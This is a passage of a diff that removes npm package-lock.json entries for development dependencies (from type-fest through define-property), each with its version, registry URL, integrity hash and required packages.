-        "type-fest": {
-          "version": "0.11.0",
-          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.11.0.tgz",
-          "integrity": "sha512-OdjXJxnCN1AvyLSzeKIgXTXxV+99ZuXl3Hpo9XpJAv9MBcHrrJOQ5kV7ypXOuQie+AmWG25hLbiKdwYTifzcfQ==",
-          "dev": true
-        }
-      }
-    },
-    "ansi-regex": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
-      "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==",
-      "dev": true
-    },
-    "ansi-styles": {
-      "version": "4.2.1",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
-      "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==",
-      "dev": true,
-      "requires": {
-        "@types/color-name": "^1.1.1",
-        "color-convert": "^2.0.1"
-      }
-    },
-    "anymatch": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.1.tgz",
-      "integrity": "sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg==",
-      "dev": true,
-      "requires": {
-        "normalize-path": "^3.0.0",
-        "picomatch": "^2.0.4"
-      }
-    },
-    "argparse": {
-      "version": "1.0.10",
-      "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
-      "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
-      "dev": true,
-      "requires": {
-        "sprintf-js": "~1.0.2"
-      }
-    },
-    "arr-diff": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
-      "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=",
-      "dev": true
-    },
-    "arr-flatten": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz",
-      "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==",
-      "dev": true
-    },
-    "arr-union": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz",
-      "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=",
-      "dev": true
-    },
-    "array-unique": {
-      "version": "0.3.2",
-      "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
-      "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=",
-      "dev": true
-    },
-    "asn1": {
-      "version": "0.2.4",
-      "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz",
-      "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==",
-      "dev": true,
-      "requires": {
-        "safer-buffer": "~2.1.0"
-      }
-    },
-    "assert-plus": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
-      "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=",
-      "dev": true
-    },
-    "assign-symbols": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz",
-      "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=",
-      "dev": true
-    },
-    "astral-regex": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-1.0.0.tgz",
-      "integrity": "sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==",
-      "dev": true
-    },
-    "asynckit": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
-      "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=",
-      "dev": true
-    },
-    "atob": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz",
-      "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==",
-      "dev": true
-    },
-    "atob-lite": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/atob-lite/-/atob-lite-2.0.0.tgz",
-      "integrity": "sha1-D+9a1G8b16hQLGVyfwNn1e5D1pY=",
-      "dev": true
-    },
-    "aws-sign2": {
-      "version": "0.7.0",
-      "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz",
-      "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=",
-      "dev": true
-    },
-    "aws4": {
-      "version": "1.9.1",
-      "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.9.1.tgz",
-      "integrity": "sha512-wMHVg2EOHaMRxbzgFJ9gtjOOCrI80OHLG14rxi28XwOW8ux6IiEbRCGGGqCtdAIg4FQCbW20k9RsT4y3gJlFug==",
-      "dev": true
-    },
-    "babel-jest": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-26.0.1.tgz",
-      "integrity": "sha512-Z4GGmSNQ8pX3WS1O+6v3fo41YItJJZsVxG5gIQ+HuB/iuAQBJxMTHTwz292vuYws1LnHfwSRgoqI+nxdy/pcvw==",
-      "dev": true,
-      "requires": {
-        "@jest/transform": "^26.0.1",
-        "@jest/types": "^26.0.1",
-        "@types/babel__core": "^7.1.7",
-        "babel-plugin-istanbul": "^6.0.0",
-        "babel-preset-jest": "^26.0.0",
-        "chalk": "^4.0.0",
-        "graceful-fs": "^4.2.4",
-        "slash": "^3.0.0"
-      }
-    },
-    "babel-plugin-istanbul": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.0.0.tgz",
-      "integrity": "sha512-AF55rZXpe7trmEylbaE1Gv54wn6rwU03aptvRoVIGP8YykoSxqdVLV1TfwflBCE/QtHmqtP8SWlTENqbK8GCSQ==",
-      "dev": true,
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.0.0",
-        "@istanbuljs/load-nyc-config": "^1.0.0",
-        "@istanbuljs/schema": "^0.1.2",
-        "istanbul-lib-instrument": "^4.0.0",
-        "test-exclude": "^6.0.0"
-      }
-    },
-    "babel-plugin-jest-hoist": {
-      "version": "26.0.0",
-      "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-26.0.0.tgz",
-      "integrity": "sha512-+AuoehOrjt9irZL7DOt2+4ZaTM6dlu1s5TTS46JBa0/qem4dy7VNW3tMb96qeEqcIh20LD73TVNtmVEeymTG7w==",
-      "dev": true,
-      "requires": {
-        "@babel/template": "^7.3.3",
-        "@babel/types": "^7.3.3",
-        "@types/babel__traverse": "^7.0.6"
-      }
-    },
-    "babel-preset-current-node-syntax": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-0.1.2.tgz",
-      "integrity": "sha512-u/8cS+dEiK1SFILbOC8/rUI3ml9lboKuuMvZ/4aQnQmhecQAgPw5ew066C1ObnEAUmlx7dv/s2z52psWEtLNiw==",
-      "dev": true,
-      "requires": {
-        "@babel/plugin-syntax-async-generators": "^7.8.4",
-        "@babel/plugin-syntax-bigint": "^7.8.3",
-        "@babel/plugin-syntax-class-properties": "^7.8.3",
-        "@babel/plugin-syntax-json-strings": "^7.8.3",
-        "@babel/plugin-syntax-logical-assignment-operators": "^7.8.3",
-        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
-        "@babel/plugin-syntax-numeric-separator": "^7.8.3",
-        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
-        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
-        "@babel/plugin-syntax-optional-chaining": "^7.8.3"
-      }
-    },
-    "babel-preset-jest": {
-      "version": "26.0.0",
-      "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-26.0.0.tgz",
-      "integrity": "sha512-9ce+DatAa31DpR4Uir8g4Ahxs5K4W4L8refzt+qHWQANb6LhGcAEfIFgLUwk67oya2cCUd6t4eUMtO/z64ocNw==",
-      "dev": true,
-      "requires": {
-        "babel-plugin-jest-hoist": "^26.0.0",
-        "babel-preset-current-node-syntax": "^0.1.2"
-      }
-    },
-    "balanced-match": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz",
-      "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=",
-      "dev": true
-    },
-    "base": {
-      "version": "0.11.2",
-      "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz",
-      "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==",
-      "dev": true,
-      "requires": {
-        "cache-base": "^1.0.1",
-        "class-utils": "^0.3.5",
-        "component-emitter": "^1.2.1",
-        "define-property": "^1.0.0",
-        "isobject": "^3.0.1",
-        "mixin-deep": "^1.2.0",
-        "pascalcase": "^0.1.1"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
-          "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
-          "dev": true,
-          "requires": {
-            "is-descriptor": "^1.0.0"
-          }
-        },
-        "is-accessor-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
-          "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
-          "dev": true,
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-data-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
-          "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
-          "dev": true,
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-descriptor": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
-          "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
-          "dev": true,
-          "requires": {
-            "is-accessor-descriptor": "^1.0.0",
-            "is-data-descriptor": "^1.0.0",
-            "kind-of": "^6.0.2"
-          }
-        },
-        "isobject": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-          "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
-          "dev": true
-        }
-      }
-    },
-    "bcrypt-pbkdf": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
-      "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=",
-      "dev": true,
-      "requires": {
-        "tweetnacl": "^0.14.3"
-      }
-    },
-    "before-after-hook": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-2.1.0.tgz",
-      "integrity": "sha512-IWIbu7pMqyw3EAJHzzHbWa85b6oud/yfKYg5rqB5hNE8CeMi3nX+2C2sj0HswfblST86hpVEOAb9x34NZd6P7A==",
-      "dev": true
-    },
-    "brace-expansion": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
-      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
-      "dev": true,
-      "requires": {
-        "balanced-match": "^1.0.0",
-        "concat-map": "0.0.1"
-      }
-    },
-    "braces": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
-      "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
-      "dev": true,
-      "requires": {
-        "fill-range": "^7.0.1"
-      }
-    },
-    "browser-process-hrtime": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz",
-      "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==",
-      "dev": true
-    },
-    "bs-logger": {
-      "version": "0.2.6",
-      "resolved": "https://registry.npmjs.org/bs-logger/-/bs-logger-0.2.6.tgz",
-      "integrity": "sha512-pd8DCoxmbgc7hyPKOvxtqNcjYoOsABPQdcCUjGp3d42VR2CX1ORhk2A87oqqu5R1kk+76nsxZupkmyd+MVtCog==",
-      "dev": true,
-      "requires": {
-        "fast-json-stable-stringify": "2.x"
-      }
-    },
-    "bser": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz",
-      "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==",
-      "dev": true,
-      "requires": {
-        "node-int64": "^0.4.0"
-      }
-    },
-    "btoa-lite": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/btoa-lite/-/btoa-lite-1.0.0.tgz",
-      "integrity": "sha1-M3dm2hWAEhD92VbCLpxokaudAzc=",
-      "dev": true
-    },
-    "buffer-from": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz",
-      "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==",
-      "dev": true
-    },
-    "cache-base": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz",
-      "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==",
-      "dev": true,
-      "requires": {
-        "collection-visit": "^1.0.0",
-        "component-emitter": "^1.2.1",
-        "get-value": "^2.0.6",
-        "has-value": "^1.0.0",
-        "isobject": "^3.0.1",
-        "set-value": "^2.0.0",
-        "to-object-path": "^0.3.0",
-        "union-value": "^1.0.0",
-        "unset-value": "^1.0.0"
-      },
-      "dependencies": {
-        "isobject": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-          "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
-          "dev": true
-        }
-      }
-    },
-    "callsites": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
-      "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
-      "dev": true
-    },
-    "camelcase": {
-      "version": "5.3.1",
-      "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
-      "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
-      "dev": true
-    },
-    "capture-exit": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/capture-exit/-/capture-exit-2.0.0.tgz",
-      "integrity": "sha512-PiT/hQmTonHhl/HFGN+Lx3JJUznrVYJ3+AQsnthneZbvW7x+f08Tk7yLJTLEOUvBTbduLeeBkxEaYXUOUrRq6g==",
-      "dev": true,
-      "requires": {
-        "rsvp": "^4.8.4"
-      }
-    },
-    "caseless": {
-      "version": "0.12.0",
-      "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz",
-      "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=",
-      "dev": true
-    },
-    "chalk": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.0.0.tgz",
-      "integrity": "sha512-N9oWFcegS0sFr9oh1oz2d7Npos6vNoWW9HvtCg5N1KRFpUhaAhvTv5Y58g880fZaEYSNm3qDz8SU1UrGvp+n7A==",
-      "dev": true,
-      "requires": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      }
-    },
-    "char-regex": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz",
-      "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==",
-      "dev": true
-    },
-    "chardet": {
-      "version": "0.7.0",
-      "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz",
-      "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==",
-      "dev": true
-    },
-    "ci-info": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz",
-      "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==",
-      "dev": true
-    },
-    "class-utils": {
-      "version": "0.3.6",
-      "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz",
-      "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==",
-      "dev": true,
-      "requires": {
-        "arr-union": "^3.1.0",
-        "define-property": "^0.2.5",
-        "isobject": "^3.0.0",
-        "static-extend": "^0.1.1"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "dev": true,
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        },
-        "isobject": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-          "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
-          "dev": true
-        }
-      }
-    },
-    "cli-cursor": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz",
-      "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==",
-      "dev": true,
-      "requires": {
-        "restore-cursor": "^3.1.0"
-      }
-    },
-    "cli-width": {
-      "version": "2.2.1",
-      "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.1.tgz",
-      "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==",
-      "dev": true
-    },
-    "cliui": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz",
-      "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==",
-      "dev": true,
-      "requires": {
-        "string-width": "^4.2.0",
-        "strip-ansi": "^6.0.0",
-        "wrap-ansi": "^6.2.0"
-      }
-    },
-    "co": {
-      "version": "4.6.0",
-      "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
-      "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=",
-      "dev": true
-    },
-    "collect-v8-coverage": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.1.tgz",
-      "integrity": "sha512-iBPtljfCNcTKNAto0KEtDfZ3qzjJvqE3aTGZsbhjSBlorqpXJlaWWtPO35D+ZImoC3KWejX64o+yPGxhWSTzfg==",
-      "dev": true
-    },
-    "collection-visit": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz",
-      "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=",
-      "dev": true,
-      "requires": {
-        "map-visit": "^1.0.0",
-        "object-visit": "^1.0.0"
-      }
-    },
-    "color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dev": true,
-      "requires": {
-        "color-name": "~1.1.4"
-      }
-    },
-    "color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
-      "dev": true
-    },
-    "combined-stream": {
-      "version": "1.0.8",
-      "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
-      "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
-      "dev": true,
-      "requires": {
-        "delayed-stream": "~1.0.0"
-      }
-    },
-    "component-emitter": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz",
-      "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==",
-      "dev": true
-    },
-    "concat-map": {
-      "version": "0.0.1",
-      "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
-      "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=",
-      "dev": true
-    },
-    "convert-source-map": {
-      "version": "1.7.0",
-      "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.7.0.tgz",
-      "integrity": "sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA==",
-      "dev": true,
-      "requires": {
-        "safe-buffer": "~5.1.1"
-      }
-    },
-    "copy-descriptor": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz",
-      "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=",
-      "dev": true
-    },
-    "core-util-is": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
-      "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=",
-      "dev": true
-    },
-    "cross-spawn": {
-      "version": "6.0.5",
-      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
-      "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
-      "dev": true,
-      "requires": {
-        "nice-try": "^1.0.4",
-        "path-key": "^2.0.1",
-        "semver": "^5.5.0",
-        "shebang-command": "^1.2.0",
-        "which": "^1.2.9"
-      }
-    },
-    "cssom": {
-      "version": "0.4.4",
-      "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz",
-      "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==",
-      "dev": true
-    },
-    "cssstyle": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz",
-      "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==",
-      "dev": true,
-      "requires": {
-        "cssom": "~0.3.6"
-      },
-      "dependencies": {
-        "cssom": {
-          "version": "0.3.8",
-          "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz",
-          "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==",
-          "dev": true
-        }
-      }
-    },
-    "dashdash": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
-      "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=",
-      "dev": true,
-      "requires": {
-        "assert-plus": "^1.0.0"
-      }
-    },
-    "data-urls": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-2.0.0.tgz",
-      "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==",
-      "dev": true,
-      "requires": {
-        "abab": "^2.0.3",
-        "whatwg-mimetype": "^2.3.0",
-        "whatwg-url": "^8.0.0"
-      }
-    },
-    "debug": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
-      "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
-      "dev": true,
-      "requires": {
-        "ms": "^2.1.1"
-      }
-    },
-    "decamelize": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz",
-      "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=",
-      "dev": true
-    },
-    "decimal.js": {
-      "version": "10.2.0",
-      "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.2.0.tgz",
-      "integrity": "sha512-vDPw+rDgn3bZe1+F/pyEwb1oMG2XTlRVgAa6B4KccTEpYgF8w6eQllVbQcfIJnZyvzFtFpxnpGtx8dd7DJp/Rw==",
-      "dev": true
-    },
-    "decode-uri-component": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz",
-      "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=",
-      "dev": true
-    },
-    "deep-is": {
-      "version": "0.1.3",
-      "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz",
-      "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=",
-      "dev": true
-    },
-    "deepmerge": {
-      "version": "4.2.2",
-      "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz",
-      "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==",
-      "dev": true
-    },
-    "define-property": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
-      "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
-      "dev": true,
-      "requires": {
-        "is-descriptor": "^1.0.2",
-        "isobject": "^3.0.1"
-      },
-      "dependencies": {
-        "is-accessor-descriptor": {
-          "version": "1.0.0",
